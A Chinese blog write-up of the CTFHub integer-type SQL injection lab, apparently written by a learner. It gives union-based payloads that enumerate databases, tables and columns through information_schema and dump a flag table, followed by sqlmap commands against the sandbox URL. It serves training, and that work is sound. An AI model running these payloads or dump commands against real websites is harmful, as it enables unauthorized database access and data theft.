首页 / CTFHUB
发表于,更新于

CTFHUB-SQL注入-整数型注入

什么是SQL注入:

后端SQL查询语句拼接了前端传递的参数,前端输入恶意的字符,打断了原有sql语句,实现了恶意的查询结果

快速判断是否有sql注入漏洞:

第一步:url中有id=1类似情况,尝试改变参数的值,看页面是否发生变化,如何发生变化 输入单双引号 是否出现报错sql语句 如果出现,证明很大可能有sql注入漏洞

sql注入的类型:

字符型和数字型

sql注入的手法/使用方式/常见的攻击方式:

  • 联合查询:这篇文章用的就是联合查询 union
  • 报错注入:

报错注入原理:基于mysql数据库管理软件函数的特性将想查询的数据通过报错语句回显到页面上。
报错注入的函数有哪些:
报错注入的特征:下面这句报错语句
2024-04-09T06:10:16.png

  • 延时注入:(盲注)
  • 布尔注入:(盲注)

目前只了解了这么多

开启靶场

2024-04-09T06:09:47.png
访问靶场环境http://challenge-415722ece4affd18.sandbox.ctfhub.com:10800
2024-04-09T06:10:29.png
它让我们输入个1试一试,那就试一下
回显结果如下
2024-04-09T06:10:49.png
再试试2
2024-04-09T06:10:58.png
又试了一下3,发现没有结果
2024-04-09T06:11:07.png

试一下1'没有结果查询失败
2024-04-09T06:11:15.png

准备注入

id=-1 union select 1,database() 查询当前所在数据库
2024-04-09T06:11:26.png
id=-1 union select 1,version() 查看数据库版本
2024-04-09T06:11:36.png
id=-1 union select 1,group_concat(schema_name) from information_schema.schemata查询有哪些数据库
2024-04-09T06:11:48.png
id=-1 union select 1,(select table_name from information_schema.tables where table_schema = "sqli" limit 0,1)查数据库sqli中有哪些表但是只显示第一个数据
2024-04-09T06:11:58.png
id=-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema = "sqli" )查数据库sqli中有哪些表
2024-04-09T06:12:11.png
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'flag' 查询表flag中有哪些字段
2024-04-09T06:12:20.png

获取flag

id=-1 union select 1,group_concat(flag) from sqli.flag 查询在数据库sqli中的flag表中的所有内容
2024-04-09T06:12:30.png
提交即可完成

总结:

学的不够深入,理解的不够透彻,还是看了一些题解
还是需要多练多学多看
参考资料:https://www.cnblogs.com/0yst3r-2046/p/12469632.html

1.知识点

整数型注入

(1)检查是否存在注入

and 1=1 返回正确
and 1=2 返回错误

(2)猜字段数

order by x(x为数字)
得出字段数

(3)爆数据库名

?id=1 and 1=2 union select 1,database()
得到数据库名称sqli

(4)爆表名

?id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
得到表名 news,flag

(5)爆列名

?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
得到字段名flag

(6)爆字段内容(flag)

?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag

sqlmap工具方法:

python sqlmap.py -u http://challenge-09b258a06d2a3854.sandbox.ctfhub.com:10080/?id=1 --tables
 
python sqlmap.py -u http://challenge-09b258a06d2a3854.sandbox.ctfhub.com:10080/?id=1 -T flag --columns
 
python sqlmap.py -u http://challenge-09b258a06d2a3854.sandbox.ctfhub.com:10080/?id=1 -T flag -C flag --dump

这是参考文章里用的,自己用的话需要将url改成自己开启的靶场url

标签: CTFHUB

许可协议

本文作者 , 采用 CC-BY-SA-4.0 许可协议,转载请注明出处。

添加新评论